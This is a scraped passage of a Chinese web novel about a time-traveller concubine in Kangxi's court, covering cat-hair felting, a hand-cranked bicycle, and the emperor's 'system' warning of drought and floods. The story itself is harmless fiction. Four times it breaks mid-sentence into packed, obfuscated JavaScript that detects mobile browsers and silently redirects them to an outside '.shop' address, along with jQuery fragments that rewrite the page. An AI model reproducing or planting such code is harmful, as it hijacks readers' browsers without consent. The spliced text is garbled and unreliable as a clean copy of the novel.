l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543757|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,就补一下,一定不要薄厚不均匀。” 宫女们在她的指挥下,将收集的猫毛梳理顺后,一点点铺好,时不时还要检查下哪里薄了。 “不够了怎么办?”其中一个小宫女为难地看着明显薄了一块的猫毛。 齐满月不在意地一挥手,让云秀等人抱来几只猫,其中一只就是她的奶球。 “梳毛!”她一声令下,几个小太监拿着小梳子就给小猫们梳起毛来,不多会儿的功夫一团团毛球出现在众人面前。 宫女们缺了猫毛的赶忙过来取一团,很快大家都铺好了。 齐满月又让人拿来胰子,小心地在手上搓了搓,才放到那铺好的用水打湿的猫毛上,轻轻地揭起一点点揉搓。 宫女们见状也学着她的模样去做,左边搓搓,右边搓搓,折起来搓搓,卷起来搓搓。 很快猫毛上的油脂被搓下来,猫毛也越搓越紧实厚重。 又过去了一会儿,等众人抬起手来时,手中的猫毛已经成了一块手掌大的毛毡。 “剩下的就是等它干了,然后装饰一下,就可以当杯垫或者挂件了。”齐满月在云月端来的水盆里洗了洗手,叉腰感慨道。 “这是做什么?”不等她再说什么,身后就传来一个女声的疑问。 齐满月转过头去,发现正是之前来找猫的成贵人。 “成贵人怎么有空来我这里了?”她有些好奇道,毕竟自从找猫之后成贵人可一次都没来过。 成贵人嘴角微微勾起,露出一个有些腼腆的笑:“我今日正好有空,便来妹妹这里坐坐。” 说着就像突然发现什么似的,赶忙带着歉意说道:“可是我唐突了?” 齐满月当然想说是啊是啊,可云秀在后面直扯她的衣服,她只能扯出嘴角,露出一抹胆小乖顺的笑说道:“没有,成姐姐能来我这里自然是好的。” 成贵人并没有对她有些僵硬地笑说什么,只歪头看着那些或白或花色的湿漉漉毡布好奇问道:“这是什么?” 齐满月笑着拉着她走上前,将猫毛毡的做法一一给她解说:“这是猫毛毡,很简单的,只要……” 她讲得又烦琐又细致,直把成贵人讲得站都站不稳,数次想打断她的话说去休息都失败后,终于苦着脸:“原来如此,妹妹果然钟灵毓秀,今日也不早了,回头再来妹妹这里玩。” 说着她挣开齐满月拉着她的手,带着宫人颤着腿离开。 “切~”齐满月挑眉得意一笑。 旁边云秀脸都黑了:“小主!” 齐满月赶忙回过神来,拍了拍自己的脸,对云秀愧疚道:“待在永寿宫太久没咋和外人相处,我差点儿露馅了,对不起啊云秀。” 云秀无奈摇了摇头:“您是主子不该给奴婢道歉,只是您要记住,在宫里要谨慎。” “知道了,知道了!我一定!”齐满月可不是嘴上说说,她再次在心里不住警告自己,不要因为一个人待着太开心失了谨慎,这里不是她活了二十多年的现代,而是封建至极的满清。 懋勤殿的康熙没有告诉任何人自己的选择,只是看着来复命的高士奇点了点头吩咐道:“黄履庄此人可谓是天降奇才,并不需要让他和戴梓绑在一起,但他要什么给他什么,无论他做出什么都记得送给朕看。” “是!”高士奇想到自己看过的东西,心下一热,这位何止是奇才啊,那些东西宛如神仙法术一般,他都不理解人家这脑子怎么长的。 挥手让人退下后,康熙看着折子,想着等黄履庄东西送进宫后,他该找个理由再次见齐佳氏一次了。 这次间隔的时间已经足够久了,日后慢慢调整,最好大家能够习惯他让齐佳氏一直待在身边而不会损了他的名声。 17. 自行车和危机 “小主!小心!” “猫球!”大早上刚从承乾宫请安回来,齐满月就看到昨天做好的猫毛毡茶杯垫被猫球撕扯成碎片,她气得猛吸一口气,快步上前就要抓住猫球。 这样过于活泼狂野的动作将云朵吓了一跳。 今天云秀有事情,云月也不得空,只能由云朵跟着她去请安。云朵却没想到一回来就看到,自家那位刚刚还一副乖巧胆小模样的小主,此刻竟活泼得不像样子,吓得她脸都发白了。 她不是云秀日日跟在齐满月身边早已习惯,更不是云月虽跟得少却也见过几次,还算平常。 过去她多是和云兰一起处理一些宫内简单的事务,跟在齐满月身边的次数少之又少,此时见她这样自然要被惊上一次的。 “小主!”正巧云秀回来,看到齐满月满大殿的追猫,忍不住叹了口气,赶忙上前拦下对方,“小主即便是在自己宫里,也不该如此,若是被外人知晓告到承乾宫,即便不违背宫规,也会多一个失仪的罪名。” 齐满月抱着被她好不容易抓到的猫球,笑得一脸心虚:“我知道错了嘛云秀~” 云秀看了眼,周围只有她们侧殿的人,心下不由松了口气:“行吧,好歹没让外人看到。” 没承想猫球似乎被什么东西吸引一样,突然在她怀里不断挣扎。 齐满月想着猫球太小,爪子还不大会收起来,爪尖又嫩得很,若是抓到了人不说别的,猫的爪尖估计都有可能勾断。 当然她也不想让猫球抓坏了自己的衣服,毕竟身为贵人,她可没有多少好的料子做一身足以见人的衣裳。 根据宫规她也不敢让阿玛额娘给她送钱,毕竟家里也没钱。 猫球从她怀里挣脱,几个跳跃间就消失在偏殿里。 “小主可有受伤?”云秀第一时间走到她的面前为她检查。 见她身上不见丝毫伤痕,云秀才终于放下心来,却见齐满月还在不住地翻看自己的衣服。 “小主身上并无伤痕,这是要找什么?”这动作弄得云秀一头雾水。 “看猫球有没有把我衣服勾出丝来,我可没钱再置办一身。”齐满月翻得仔细,连头都没抬。 云秀听后忍不住笑出声来:“放心吧小主,就算是勾出丝来,凭宫里绣娘的手艺,也给你补得天衣无缝。” 齐满月将翻皱的衣服整了整才抬头说道:“我这样的小贵人找绣娘帮忙也是要掏银子的,我可舍不得。” 云秀笑得越发开怀:“云月的手艺就挺好,给她修补就是。” “那敢情好!”齐满月听后忍不住拍了拍手。 云月进来后就见到她们主仆这副模样,便有些好奇。 云秀只当是个乐子,笑着将刚刚的事情讲了一遍。 云月听后也忍不住笑着调侃道:“小主怕什么,如今宫里都知道您受宠,指不定什么时候皇上又赏了您新料子,到时候怕是新衣穿都穿不过来。” “我?”齐满月不可置信地指着自己,“我受宠?谁造的谣啊,我都多久没见皇上了。” 云月呆愣地看了云秀一眼,才一脸诧异地看着她:“小主不知道吗?” “知道什么?”齐满月没想到这偏殿里一共就那么几个人,云秀等人还能有事情瞒得住自己。 云秀懊恼地拍了拍额头:“怪我怪我,我忘记说了。” 她的一席话,让齐满月越发糊涂了。 “小主每日的饽饽,都是由御茶膳房送来的,若非皇上吩咐,他们怎敢如此行事?” “难怪!”齐满月恍然大悟,“我说这两个月的饽饽越发好吃了,我还以为是御膳房出新花样了。” “您的份例可没那么多饽饽给您吃。”云月笑着摇了摇头,将早餐端了过来,“喏,这也是刚送来的,是您最喜欢的肉饽饽。” “狗皇帝竟然做人了!?”齐满月不可置信地在心里喊道,“不过他图啥啊?图我长得好看?” “那倒也不是不行~”刚在心里得意完,不知道跑哪儿的猫球又跑了回来。 齐满月忍不住在虚空点了点猫球的脑袋,心中腹诽道:“这猫都快比狗皇帝还难伺候了,好歹皇帝还给我吃的,你竟给我捣乱。” “咳咳!”她刚说完,就听门外传来男子的轻咳声。 抬头看去,只见云秀和云月早已悄然跪在地上,齐满月瞬间明白过来,赶忙乖乖跪在地上请安。 “起吧。”康熙踱步进来直接坐到了齐满月原先的位置,顺手捻起一个肉饽饽吃了一口,“御茶膳房的手艺越发精进了。” “狗皇帝怎么突然来我这里啦?!青天白日的总不能是来睡的吧?!” “咳!齐佳氏!”康熙被她的心声震惊得差点吃饽饽噎着,赶忙灌下一口茶。 “干嘛!每次都叫我名字,然后又不做什么,最后不是让我走,就是自己走!好像是来我这儿看西洋景的,干脆找个画师把我画了挂起来看个够好了,别打扰我的小日子啊~!” 康熙无语地吃着肉饽饽,他何尝不想不要那么尴尬,只是一则齐满月总是口中惊人,二则是他也想听到更多有用的消息。 想到这里,他眼眸微微沉了一瞬,才擦了擦手说道:“朕前日得了个机巧玩意儿,想来你们姑娘家喜欢,就让人给你送来了一个。” 话落不过转瞬,小太监们就抬了个红布盖着的东西进来。 “这形状……怎么看着……那么像……”齐满月紧蹙眉头看着面前的东西,随着东西越来越近,她的眼眸也不由瞪得老大,“自行车!?” “啊啊啊!狗皇帝找到了黄履庄!?带回来了吗?!活的黄履庄啊,传说中的人物哎!” 康熙听着她心里不断响起的惊呼,忍不住勾了勾嘴角:“小女人,朕总算震惊到你了。” 不过他对于齐满月还称他狗皇帝还是有些不满,于是故意说道:“这是江南一位奇人所做,想来你还没见过这种奇物吧。” 齐满月刚想说想试试,然后震惊一把古人,没想到却被康熙这么一噎,只能咬着牙假装懵懂的看着被揭开红布的自行车,乖顺点了点头:“奴婢确实没见过,这是何物?看起来确实奇特。” 康熙强忍住嘴角的笑,看着齐满月一副不懂的求教模样,听着她心里喋喋不休的愤慨,这些时日因为朝政的疲惫竟然消减了不少。 “这是自行车,是黄履庄所做。”康熙示意一个小太监骑上去,“据黄履庄所言,此车长余三尺,可坐一人,不须推挽,能自行……” 说着旁边的小太监已经用手转起旁边的曲拐了。 “咦?历史上黄履庄造的自行车是这样的吗?我还以为也是脚踏板的,竟然是手动!倒像小时候看的那种残疾人用的倒骑驴哎~” 康熙本以为还能再收获旁边人的一波惊叹,却不承想反倒听到了另一个消息。 脚踏自行车? 他脑子里画像不断被擦掉重画,却怎么都没想明白脚踏自行车该长什么样。 “哎呀!都怪狗皇帝选我入宫,不然我还能和黄履庄沟通下技术,将真的自行车搞出来!”心中想着就听到旁边齐满月又开始怪他,康熙忍不住扭头看了对方一眼。 “看我做什么嘛!好烦!怎么才能和黄履庄沟通呢?我更喜欢脚踏自行车啊。” 康熙无奈地摇了摇头,看来他这样试探不如直接开口问来得快。 这样想着,他就干脆开口说道:“齐佳氏,朕看你一脸若有所思,难不成是有什么想法?” 齐满月眼睛唰地一亮,双眼紧盯着康熙,重重点了两下头。 身后云秀见她这幅样子,只恨不得捂住眼睛,这位主子怎么就沉不住气露出原形来了! 康熙倒没想到见到他就习惯性垂眸低头的人,一双眼睛亮起来时是这样的惊人,衬得那本就漂亮的小脸越发娇艳了。 “朕恕你无罪,直说吧。”康熙忍不住戳了戳她的额头,轻笑道。 齐满月看了看黄履庄版自行车,犹豫了片刻后,才小心问道:“奴婢……想骑一骑行吗?” 康熙本以为以齐满月内心所表现出那种活泼性子,一定会直接说出来,却没想到对方还想了个迂回办法。 不过他本就打算借此听一听齐满月的心声,自然不会推拒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543758|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 得了康熙口谕,齐满月难掩欣喜地走到黄履庄版自行车前,垂眸研究了下大致怎么下手。 刚刚她可是看过小太监操作的,加上她本来就会骑自行车,于是连小太监开口教她都不需要,直接坐上去开始骑起来。 刚刚小太监展示时,自行车是没有落地的,只是在原地空转了一会儿,她骑的时候自行车已经被放下。 于是她直接在永寿宫的前院里骑了一圈又一圈。 宫人们看她不过是片刻就熟悉了操作,一边惊叹这等奇物,一边感慨不愧是皇帝看中的人,果然聪明机灵。 康熙倒不意外,只是他看着齐满月一副上手不撒手的架势,唯恐对方上瘾了忘记正事,赶忙示意梁九功带人拦住。 索性这黄履庄版自行车是木头做的,齐满月担心颠得慌骑得也不快,两个小太监往前一站也就顺势停了下来。 “是奴婢玩乐太入神,失了礼数,请皇上恕罪。”齐满月下了车才想起面前还有位大佛,赶忙下跪请罪。 云秀等人也纷纷下跪,一瞬间永寿宫的宫人们已经齐刷刷跪了一地。 康熙摆了摆手,将人叫起,才颇有兴趣地问道:“怎么?可有什么感受?” “奴婢觉得……”齐满月刚想将自己印象中的自行车用这个时代的话说一遍,就见康熙脸色突然大变。 “警报!警报!浙江民心值降至临界点!浙江民心值降至临界点!” 康熙原本正打算听一下齐满月前世的自行车什么样,好让黄履庄改进时,就听到脑海中不断蹦出警报。 他眉间紧皱,看着眼前虚空,那里是二十六条彩色竖线,现在其中一个标着浙江的线正急速下降。 不过片刻功夫已经从九十多跌入到四十上下,才将将稳住。 这是康熙在奖励中选择的民心所向。 根据系统介绍,民心所向是他只能每月查询一次,可没说系统警报是随时都会有的。 康熙看着数值的变化再也没时间和齐满月聊什么黄履庄自行车,直接转身,厉声吩咐道:“传索额图、明珠、勒德洪、李霨、王熙、陈廷敬、户部伊桑阿、兵部李之芳、刑部梁清标觐见!” 梁九功头一次见康熙如此急切地召这些大臣,虽然不清楚他急什么却也不敢耽搁,快速跑着安排人召见。 不多时,几位大臣急匆匆来到懋勤殿。 这会儿康熙的脸色已经不是一般地难看了。 就在刚刚,不过片刻功夫,直隶、山东、河南这几个京畿重地的数值也跟着往下跌,比浙江更令他着急的,是这些地方数值从近百数直接跌入十几。 他实在无法想象到底发生了什么,让这些地方的民心值跌得那么快。 “不用行礼,索额图你们可曾收到来自于浙江、直隶、山东、河南的折子未曾递上来?” 索额图几人先是被太监们催促着赶到懋勤殿,还没喘口气就被皇上如此追问,皆是双眼茫然。 见状康熙脸色不是一般难看,他直接吩咐道:“索额图、明珠你二人各带一批人前往浙江和直隶,陈廷敬带人去山东,王熙你去河南,朕要知道那里到底发生什么了!” “记住!朕准你们便宜行事!” 听着皇上的吩咐众位大臣皆是一愣,但也不敢多言,尤其是索额图和明珠,毕竟皇帝这次可是把内阁六位大臣直接派出去四个! 康熙看了眼户部伊桑阿、兵部李之芳、刑部梁清标,直接吩咐道:“你们安排人随他们一同前往,如需用兵不必请旨。” “臣等遵旨!”几位大臣应下后就要出门。 不承想康熙脸色更难看地叫住众人:“江南!通知徐乾学!让他去江南!” 大臣们不懂皇上为什么加了个江南,却也不敢问,快速转身去安排。 康熙盯着虚空里江南的那根线已经跌得看不见了,数字更是跌到个位数。 他不是不能召其他大臣去安排,只是如今他实在不敢信任何人,只能将自己的股肱之臣一一派出去。 “系统啊……这民心所向能不能加个原因啊,朕能够信任的大臣实在不多了……” 18. 接二连三的灾难 从康熙发现召集大臣到快速安排,也不过短短一个时辰而已,此时太阳还在东侧,正缓缓地往最中间爬着。 六月末的京城已经透着几分暑意,今天又是大晴天,太阳直愣愣地照在大臣们的身上,透着那一身春季的官服,给一身皮肉添了几分滚烫。 豆大的汗珠从额间滚到脸颊,再到领口,直至滚入衣襟消失不见,徒留下滚烫肌肤上不断滑落的湿黏吸着里衣贴在皮肉上,让人心烦意乱。 可没有一个大臣敢开口抱怨,甚至不敢略停下一二脚步,歇一歇从胸口涌上的燥热。 更甚者,他们没有一个人抽空闲聊一句,在宫门口外彼此看都没看一眼,直接骑着快马赶往署衙简单安排了几句事宜后,又赶快往家里赶去。 几位大臣倒不是没有轿撵,虽然康熙一力主张不论文武大臣都需要骑马上朝,可对于尚书、内阁这等高级官员还是特许了轿撵。 即便如此,也没有任何一个大臣选择轿撵,毕竟皇上都如此催促了,他们总不能还坐着轿撵显得慢悠悠不是。 索额图刚到家的时候,时间已经接近中午,按照朝廷的规定,此时是午餐时刻,家里自然也摆上了饭。 站在桌前的美貌妇人对他行了个礼后,赶忙迎上前:“爷,现在可用饭?” 索额图皱了皱眉,扫过一桌子精美菜肴:“我不是吩咐过,让你赶紧收拾行李给我?东西呢?” 妇人愣了下,脸上闪过一丝委屈,不过转瞬就消失:“妾身早已让人备好车了。” 索额图看着自己的长随在门外对他点了点头,不再说什么,转身就要去卧房换衣服。 妇人见状,忍不住上前两步:“爷……不用晚饭吗?” “妇人!”索额图忍不住回头看了她一眼,眼中多了过去从未出现过的嫌弃,“到底小户出来的,竟不如佟佳氏半分眼力。” 他痛快斥责完倒是利索离开了,徒留下妇人顶着满府的下人或是异样或是嘲讽亦或是怜悯的眼神,不多时就捂着脸呜咽着跑回后院。 她是满心委屈的,索额图本就是庶出,虽正妻娶的是佟佳氏,可两位侧室却出自满族小姓,在他官位越做越大后,纳入府的女子身家也越发高了些。 若不是索额图极为重视正妻,佟佳氏怕也镇压不住这帮人;后来佟佳氏早逝,她凭借着长得好、手段好,又生了个好儿子,这才在正妻去世后掌握后宅一应事务。 不说有多少功劳,好歹荣光地做了几年的管家福晋,谁曾想今日就被索额图当着众人给了个没脸。 侧室被斥责这件事不过转瞬就传遍了索额图的后宅,有幸灾乐祸的自然也有唇亡齿寒的,不过也有一个意外。 一个年岁不大,入府不过一载的小妇人,眼眸幽幽地将人赶到门外,眉目流转间在竹子上写到什么,又悄悄走出门递给一个不起眼的丫环。 索额图自然不知道后宅的事情,他只和明珠堵着一口气,恨不得马上飞到浙江,好赶在明珠之前查清楚那里到底发生了什么。 疾步走出正院,结果和法保撞了个满怀。 对这个一向吊儿郎当的弟弟,索额图一向是看不惯的,此时因有要事,也懒得和对方拉扯,便直接无视对方往外走。 法保不知因何对这个哥哥突然很恐惧,他赶忙侧过身让过了路,又快速踱步往里走。 跟随着索额图的长随,眼眸在他身后转悠了一圈又一圈,最后还是凑到索额图面前:“爷,六爷身上的衣服料子不是京里的,看样子像是南边来的。” 索额图骑上马的动作一顿,他冷漠地扫过院内那个早已消失不见的身影:“带过来。” 长随应了一声,直接带着人去将法保带了出来。 法保一脸莫名地被一群人押到索额图面前。 索额图眼神阴鸷地扫过法保身上的衣服,才抬眼紧盯着他:“说罢,衣服怎么回事?” “什……什么衣服?”法保在这个哥哥面前一向不擅长撒谎。 “如今皇上有要务吩咐我去浙江,你最好别有事儿瞒着我。”索额图在马上坐直,眼神幽深地时不时瞥一眼法保。 法保咽了咽口水,随着长随的松手差点瘫软在地上:“我……我……我不知道。” 索额图这次没再多说什么,直接一鞭子抽在他身上。 法保没想到哥哥真的会动手,赶忙蜷缩在一起大喊一声:“那里好像是大旱了!” 索额图动作一顿,眼神如刀一样刺向对方:“你说的是真是假?!” 法保重重点了点头:“真的!真的!我就是因为这个才跑回来……跑回来的……” 法保说着声音就突然小了起来,他发现自己说漏了嘴,赶忙捂住嘴。 索额图此时已经没心情再和他计算偷偷出京的罪过,直接安排人将法保关在院中,带着人重回署衙一边去通知户部准备赈灾,一边安排下属进宫告知皇上。 康熙自大臣们离开,就坐在位置上一动未动,尤其是在他发出那声疑问后。 整个大殿里安静得有些可怕。 梁九功小心从殿外进来,先是为康熙换了热茶,才重新走出大殿。 自从齐佳氏入宫开始,皇帝就不爱他近身侍奉了,如今更是不喜欢他们进大殿。 时间不知道过去多久,大殿外传来急促的脚步声。 康熙还来不及斥责,就见梁九功带着一名官员满脸着急地跑进来:“皇上,浙江大旱!” “砰!”康熙猛地起身,竟然将御座直接带倒。 “宣!索额图!明……”他下意识开口叫索额图和明珠,只不过话未说完就想起这两个人已经被他安排出去,“宣科尔坤、达都……” 宣大臣、安排赈灾、户部拨款等等事宜,这一安排直到天都快黑了才结束。 等人散去,康熙一脸疲惫地坐回到御座上,这才发现一旁桌子上被放好了新做的饽饽,叹了口气捻起一个吃了一口,随后又觉得吃不下,扔回到盘子中。 挥手让梁九功等宫人退下,康熙看向虚空:“系统,朕耽误一日,便有不知多少百姓死于大旱,死于其他伤害,朕想知道山东、直隶、河南和江南到底发生了什么,若朕能早日安排岂不是可以救下许多人。” 空气中依旧安静,这种安静却让康熙莫名地开始紧张,这在他亲政后已是非常少见的了。 也不知道过了多久,连敬事房的人都来问过安了。 时间渐渐流逝,许久后,直到康熙都打算放弃联系系统时,天空中突然响起一道声音。 “执行者要求符合常理,增加警报内容须知。” 系统声音刚过,康熙就看到眼前的线图上有了一个圆点,他下意识伸手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543759|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 点了下,只见上面立刻蹦出来一组数字。 “浙江大旱……”这是他刚刚已经知晓的。 “江南海盗肆虐……”康熙心下忍不住揪了下,下意识就要叫人宣兵部尚书,却又忍住,指尖放到了京畿区域。 “洪水……”康熙此时脸色已经不是一般难看,他深吸了一口气,眼睛闭了又闭,最终无力叹了口气,“天如此看不惯我满族掌管天下吗?” “不!”他猛地睁开眼,视线扫到永寿宫方向,眼神中带着决绝,“既然你们送来了改变历史的人,那上天一定是看好爱新觉罗氏!” 乾清宫从上午开始,大臣们接连不断地进进出出,直至夜半三更,这样的情况自康熙亲政后还未出现过几次,可每次都是涉及国家动荡的大事。 不过能知道乾清宫情况的也不过那两三个人而已。 其中最先知道的自然是慈宁宫。 “你是说乾清宫还在宣召大臣?”孝庄从上午得知消息一直到此时星辰漫布,心情从急切到不安再到平静,堪称跌宕起伏。 苏麻喇姑看着她如今平静的表情,不由在内心叹了口气,如今的主子竟也只能压抑自己的担忧,以免触及了当今的警惕,误以为主子贪恋权势。 毕竟前些日子因为齐佳贵人的事情,皇帝便对主子插手朝政的事情颇为不满了。 正如苏麻喇姑所想,孝庄手中不断转着的十八子早已将她的内心急躁展现得一清二楚。 “是,但是……还没传出什么事情。”苏麻喇姑心中再多感慨到了孝庄面前也是平淡的。 孝庄点了点头,沉默地看向乾清宫的方向…… 毓庆宫里的胤礽,作为宫里少有能够探知乾清宫事情的人,他更是在孝庄不久后就知道了,甚至知道得比慈宁宫还更详细几分。 听到宫人说康熙在乾清宫到了半夜还没休息,她下意识想像往日那样抬脚去关心一下皇上。 “最后太子二废二立被圈禁……” “生而克母!” “现在是掌中宝,等他年纪大了,儿子也大了,对皇位的占有欲达到了顶峰,现在太子的一切都是罪名……” 迈出大殿的脚在半空中悬了许久后,沉默地退了回去…… 皇贵妃虽然也清楚乾清宫的异动,毕竟身为副后,她是有权利知晓一些帝王行程的。 “毓庆宫没去?”听着宫人的汇报,皇贵妃有些意外。 “是,没听到消息。”宫人回道。 皇贵妃愣了下,眉头微微蹙起:“行了,以后将毓庆宫的人撤出来,毓庆宫的事情和我们再无关系。” 宫人一愣,忙应下离开。 秋月狐疑的看了眼离去的宫人,才忍不住轻声问道:“主子,毓庆宫那边?” 皇贵妃摇了摇头,自家人知道自家事,皇帝是不会让佟佳一族再出现一位皇帝的,她何必再紧盯着毓庆宫。 之前关注不过是尽到皇贵妃的职责,顺便可以刷一下太子的好感,如今太子和胤禛明确为执行者,将来必是互通有无。胤禛如今年岁还小,藏不住话,万一说错了什么…… 想到这里,皇贵妃不由叹了口气,太子今夜竟然没去粘着汗阿玛,想来那清醒的大脑还让他长了几岁稳重。 突然她抬眼看了眼自己的胤礽,若是太子也有如此奇效,那胤禛…… 19. 日常和阴谋 关于胤禛力气这件事情皇贵妃最初是没什么感觉的,在她看来才四岁大的孩子力气小些也很正常,并不是每个孩子都是大阿哥那样的。 只是系统推荐的增加体质选项还是在她心里留下了一抹阴影,以至于发现太子貌似被清醒的大脑所影响而趋向于理智后,她也更期待胤禛的力气大变化。 “秋月,你去拿一些稍微有点重的东西过来。”她想了想直接开口吩咐秋月。 秋月被她的要求弄得一愣,随即又赶忙反应过来,在屋子里转悠了一小会儿,才找到一个略有些重的小铜壶。 如今才三四岁的胤禛性子不仅有些调皮,有时也爱发脾气摔打东西,所以在承乾宫,凡是他能够伸手够到的地方,皇贵妃都要求用上了对方抬不起拎不起的物什,而小铜壶就是其中之一。 皇贵妃示意秋月将小铜壶放到胤禛面前,对胤禛轻声说道:“好孩子,把铜壶递给额娘好不好?” 胤禛将自己的注意力从玩具中拔出来,抬头看了看皇贵妃又看了看身前的小铜壶,随后毫不犹豫地站起身,伸出双手就去拎壶。 “啊呀!”可惜他的脸都憋红了,更是不断给自己鼓劲儿。 只可惜他努力了半晌,那小铜壶不过被挪动了几寸而已。 皇贵妃过去并没有这样试探过胤禛的力气,此时也有些不明白这到底算力气小还是这铜壶本就太重。 旁边的秋月本就是打小伺候她的人,对她的一举一动都极为了解,见她微微蹙眉,便上前宽慰道:“主子,这铜壶便是那些小宫女们拎起来都要费一把力气,更别说小阿哥才三四岁了。” 皇贵妃佟佳氏幼年时便是佟佳一族的娇小姐,略大些的姑奶奶,再大一点入了宫虽当了一年格格,可因出身,一直享受嫔位的待遇,更甚者一年后直接封为贵妃,后为皇贵妃。 从幼年时到如今,她从未经历过低谷,也不曾自己干过什么活,连伺候的人都是精挑细选的,哪里知道初入宫的小宫女们到底拎不拎得起小铜壶。 不过回想着幼年时仅有的记忆,她在五六岁时确实也拎不起那么重的壶,一时间不由松了口气。 秋月见哄住了她,也不由松了口气。 胤禛这位四阿哥力气偏小的事,在宫人中曾隐隐传过,只是一则他是皇帝仅有的几个健康皇子,二则是皇贵妃养子,这等猜测不过是私下传言,并没闹起多大的风波。 而且照秋月看来,三四岁的男孩子力气这样也不算多力弱,毕竟佟佳府中也不乏这个年岁比四阿哥更力弱的孩子了。 秋月看着佟佳氏脸上闪过的轻松,不由暗自摇了摇头,这一动作眼睛就飘到了一旁柜子里的参苏理肺丸,这是太医院今年提前送来的。 只因胤禛往年春夏交替时会咳嗽几日,秋月想到这里,眉眼中带着些许喜意看向皇贵妃说道:“说也奇怪,往日换季时四阿哥总是要咳嗽两天,这几日却未曾见到,想来阿哥长大了身体好了。” 皇贵妃视线同样扫过架子上的药,眼睛又扫过还在和小铜壶较劲的胤禛,眉目间也带上喜意:“是啦,体质……身体康健不也是体质吗?” “主子?”她的轻喃秋月没听清,下意识扭头看向她。 “没事儿,我儿将来定也是大清的巴图鲁。”她手肘轻轻搭在矮桌上,看着对面胤禛忍不住称赞道。 秋月等宫人自然是连声附和,竟无一人提出质疑。 若是齐满月在此怕是要笑的直不起腰了,毕竟“世宗四力半”可是后世非常有名的梗。 说到齐满月,她在看到康熙直接脸色大变转身离开永寿宫,还以为这位爷又犯病了,甚至还惴惴不安对方要不要又将事情怪罪到自己身上。 却不承想,对方不仅没安排人将自行车带走,甚至每日的加餐依旧在继续,这也让她放心下来。 康熙走时还没到中午,她自己又玩了一会儿自行车后才发现天色已经不早了。 “小主不继续玩了?”云秀见她擦着汗进了屋子,忍不住问道。 齐满月有些嫌弃地看着天上的太阳,又看了看院子里被小太监们挪到另一间空屋子的自行车,有些意兴阑珊道:“也没什么意思。” 对于骑过脚踏车的人,这种倒骑驴式的手动自行车也不过是最初才觉得有意思,越骑也越觉得无聊。 见她这样,云秀也不再说什么,先将晚饭摆上。 齐满月简单洗漱了一番,才坐到桌子上。 她觉得别说只进宫两三个月,就是住进来一辈子她恐怕也不习惯将午饭叫做晚饭,把晚饭叫做晚点,虽然晚点确实只有点心没有任何饭菜。 叹了口气,吃了一口米饭,她不禁暗自赞叹了一句:“不愧是贡米,确实比后世普通的大米好吃一点。” “说起来……康熙还自己培育过稻米的,好像……被称作……御稻米!”齐满月的脸上闪过一丝得意,“我就说我记忆力很好~” “可惜后世失传了,不然我还能尝尝御稻米的味道,不过说起来……康熙什么时候研究出来的?我现在是康熙二十一年,岂不是只要我活得够久,我就可以吃到了!” 想到这里,她眼睛一亮,不过转瞬间又暗淡了些许:“我一个贵人怕是也吃不上。” 握着筷子的手不由紧握,齐满月猛吸一口气,决定稍微奋斗一点:“至少是个嫔位吧……虽然孝庄答应我了,但是没落到碗里的不是肉,还是要努力一下下,万一成了妃呢!” “小主,成贵人来了。”她饭还没吃完,云月突然走进来传话。 别说云月和云秀都皱起眉来,就算是齐满月也忍不住皱了皱眉,这可是饭点,成贵人不好好待在翊坤宫吃饭,莫名来到她这里干嘛? 齐满月总觉得有种不祥感,仿佛被某种阴谋围绕。 “请进来吧。”她没想太久,看着云月还在等传话,只能皱着眉让人进来。 成贵人走进来第一眼就看到了满桌子的饽饽,脚步都忍不住顿了下。 她也是贵人,自然知道贵人的份例有多少是什么样子,她那边的晚点可不曾有过那么多盘饽饽,还有那么多种口味。 眼看着云月将还剩下八九成的饽饽端走,成贵人和身后的宫人脸上都有些阴郁,不过转瞬间也就消失了。 齐满月眼睛本就尖,自打成贵人进来就一直防备着她,此时便也发现了她们主仆二人的变化,忍不住挑了挑眉,瞬间明白了些许。 成贵人自然也注意到了她的打量,有些不自在的拿帕子点了点嘴角,才笑着说道:“妹妹这里果然不错,便是晚点都比我们的好些。” 齐满月虽然只见过成贵人两三面,可对她日常说话风格还是了解一二的,可还没见过对方这样酸言酸语的时候。 看着她脸上微妙的笑意,成贵人反应过来,脸上闪过几分尴尬:“妹妹本就受宠,自然……” 感觉到自己说话越发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548736|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 带着酸味儿,她一时间也不知道该如何是好,只能悄然噤声。 齐满月本就是你不尴尬我就不会尴尬的性子,再加上对方是不请而来,自然没有调侃氛围的义务。 